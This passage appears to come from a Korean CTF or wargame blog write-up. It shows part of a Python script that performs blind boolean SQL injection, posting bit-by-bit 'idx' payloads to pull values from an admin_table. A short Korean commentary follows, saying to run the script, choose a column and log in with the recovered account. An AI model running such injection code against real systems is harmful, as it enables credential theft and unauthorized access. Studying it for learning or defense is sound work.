            payload = "1 or (select (substr(lpad(bin(ord(substr({},{},1))),{},0),{},1)=1) from admin_table limit {},1)".format(column_name[selected_column], j, bitLen, i, value_count-k)
            data    = {'idx' : payload}
            res     = requests.post(url=URL, headers=headers, verify=False, data=data)

            if '1970-01-01' in res.text:
                # false ==> bit is 0
                bit += '0'
            else:
                # true  ==> bit is 1
                bit += '1'

        tmp_value_name += chr(int(bit,2))
        print('GET VALUE         [=] : {}     {}'.format(tmp_value_name, bit))

    print("GET VALUE[{}]     [=] : {}".format(value_count-k, tmp_value_name))
    value_name.append(tmp_value_name)

 

소스가 매우 길다...

 

쓰다보니 이렇게 됐당...

 

위의 소스를 쭉 돌리다 보면 다음과 같은 형태로 나오게 될 것입니다.

보고자 하는 컬럼을 정해줘야 하니 Select COLUMN NAME(num)을 볼 때 COLUMN NAME 배열 순서를 선택해주시면 됩니다.

 

 

위의 계정대로 로그인하게 되면 다음과 같이 나타나게 됩니다.

 

 

 

+ Recent posts